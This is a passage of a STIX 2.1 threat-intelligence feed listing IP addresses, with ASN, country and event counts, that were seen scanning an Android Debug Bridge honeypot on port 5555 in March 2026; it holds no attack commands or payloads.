        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '146.190.142.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:00:02.000Z",
      "valid_until": "2026-04-04T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-03T18:56:08.000Z",
          "last_seen": "2026-03-03T19:06:57.272Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-03T18:40:25.000Z | last_seen=2026-03-03T18:41:31.534Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--72887506-e7dc-434c-aac3-74e510ab0e9a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.42.217.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:00:02.000Z",
      "valid_until": "2026-04-04T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-03T18:40:25.000Z",
          "last_seen": "2026-03-03T18:41:31.534Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T20:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-03T19:36:29.000Z | last_seen=2026-03-15T06:39:41.811Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--0e293095-12bd-4b72-9adb-9314997a30d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:00:13.000Z",
      "valid_until": "2026-04-04T20:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-03T19:36:29.000Z",
          "last_seen": "2026-03-15T06:39:41.811Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T20:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-03T19:36:29.000Z | last_seen=2026-03-15T06:39:41.811Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--0e293095-12bd-4b72-9adb-9314997a30d8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T20:00:13.000Z",
      "valid_until": "2026-04-04T20:00:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-03T19:36:29.000Z",
          "last_seen": "2026-03-15T06:39:41.811Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T20:05:04.000Z | last_seen=2026-03-03T20:06:42.428Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--ededb0c7-e129-4e12-abf9-36c2c7cc8435",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:00:02.000Z",
      "valid_until": "2026-04-04T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T20:05:04.000Z",
          "last_seen": "2026-03-03T20:06:42.428Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=56; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=56 | first_seen=2026-03-03T20:10:54.000Z | last_seen=2026-03-03T20:21:45.172Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--f38d2ccc-9c3a-47f9-8d5e-6ecd8c313b9e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:00:02.000Z",
      "valid_until": "2026-04-04T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 56,
          "first_seen": "2026-03-03T20:10:54.000Z",
          "last_seen": "2026-03-03T20:21:45.172Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FI; asn=209702; asn_org=Soldatov Alexey Valerevich; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=30 | first_seen=2026-03-03T20:38:33.000Z | last_seen=2026-03-30T09:04:20.505Z | ports=5555 | cc=FI,RU | asn=209702 | org=Soldatov Alexey Valerevich",
      "id": "indicator--06570ac9-5efe-4257-9df5-d1eea938349c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.66.66.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:00:02.000Z",
      "valid_until": "2026-04-04T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 30,
          "first_seen": "2026-03-03T20:38:33.000Z",
          "last_seen": "2026-03-30T09:04:20.505Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FI",
            "RU"
          ],
          "asn": [
            "209702"
          ],
          "org": [
            "Soldatov Alexey Valerevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T20:05:04.000Z | last_seen=2026-03-03T20:06:42.428Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--ededb0c7-e129-4e12-abf9-36c2c7cc8435",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '100.29.192.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:00:02.000Z",
      "valid_until": "2026-04-04T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T20:05:04.000Z",
          "last_seen": "2026-03-03T20:06:42.428Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=56; ports=5555; cc=US; asn=14618; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=56 | first_seen=2026-03-03T20:10:54.000Z | last_seen=2026-03-03T20:21:45.172Z | ports=5555 | cc=US | asn=14618 | org=Amazon.com, Inc.",
      "id": "indicator--f38d2ccc-9c3a-47f9-8d5e-6ecd8c313b9e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:00:02.000Z",
      "valid_until": "2026-04-04T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 56,
          "first_seen": "2026-03-03T20:10:54.000Z",
          "last_seen": "2026-03-03T20:21:45.172Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14618"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FI; asn=209702; asn_org=Soldatov Alexey Valerevich; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=30 | first_seen=2026-03-03T20:38:33.000Z | last_seen=2026-03-30T09:04:20.505Z | ports=5555 | cc=FI,RU | asn=209702 | org=Soldatov Alexey Valerevich",
      "id": "indicator--06570ac9-5efe-4257-9df5-d1eea938349c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.66.66.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T21:00:02.000Z",
      "valid_until": "2026-04-04T21:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 30,
          "first_seen": "2026-03-03T20:38:33.000Z",
          "last_seen": "2026-03-30T09:04:20.505Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FI",
            "RU"
          ],
          "asn": [
            "209702"
          ],
          "org": [
            "Soldatov Alexey Valerevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-03T22:08:23.000Z | last_seen=2026-03-03T22:19:27.116Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--adeb6e10-d97e-4be1-adf4-5d9b595f5c49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.52.74.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:00:02.000Z",
      "valid_until": "2026-04-04T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-03T22:08:23.000Z",
          "last_seen": "2026-03-03T22:19:27.116Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-03T22:25:56.000Z | last_seen=2026-03-17T17:03:28.620Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--20257fdd-11cc-44f4-999d-28670cdf2b7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:00:02.000Z",
      "valid_until": "2026-04-04T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-03T22:25:56.000Z",
          "last_seen": "2026-03-17T17:03:28.620Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GB; asn=13213; asn_org=Thg Hosting Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T22:08:21.000Z | last_seen=2026-03-03T22:09:22.869Z | ports=5555 | cc=GB | asn=13213 | org=Thg Hosting Limited",
      "id": "indicator--0359502d-e5ed-4c7d-bfdc-3d082bb35b47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.63.151.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:00:02.000Z",
      "valid_until": "2026-04-04T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T22:08:21.000Z",
          "last_seen": "2026-03-03T22:09:22.869Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "13213"
          ],
          "org": [
            "Thg Hosting Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=51177; asn_org=Tipzor Media Srl; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T22:46:25.000Z | last_seen=2026-03-03T22:47:26.210Z | ports=5555 | cc=RO | asn=51177 | org=Tipzor Media Srl",
      "id": "indicator--87f07a90-eb9a-4f03-b54b-f3710e26681f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '84.234.96.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:00:02.000Z",
      "valid_until": "2026-04-04T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-03T22:46:25.000Z",
          "last_seen": "2026-03-03T22:47:26.210Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "51177"
          ],
          "org": [
            "Tipzor Media Srl"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-03T22:08:23.000Z | last_seen=2026-03-03T22:19:27.116Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--adeb6e10-d97e-4be1-adf4-5d9b595f5c49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.52.74.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:00:03.000Z",
      "valid_until": "2026-04-04T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-03T22:08:23.000Z",
          "last_seen": "2026-03-03T22:19:27.116Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-03T22:25:56.000Z | last_seen=2026-03-17T17:03:28.620Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--20257fdd-11cc-44f4-999d-28670cdf2b7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:00:03.000Z",
      "valid_until": "2026-04-04T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-03T22:25:56.000Z",
          "last_seen": "2026-03-17T17:03:28.620Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-03T23:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GB; asn=13213; asn_org=Thg Hosting Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-03T22:08:21.000Z | last_seen=2026-03-03T22:09:22.869Z | ports=5555 | cc=GB | asn=13213 | org=Thg Hosting Limited",
      "id": "indicator--0359502d-e5ed-4c7d-bfdc-3d082bb35b47",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '5.63.151.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T23:00:03.000Z",
      "valid_until": "2026-04-04T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
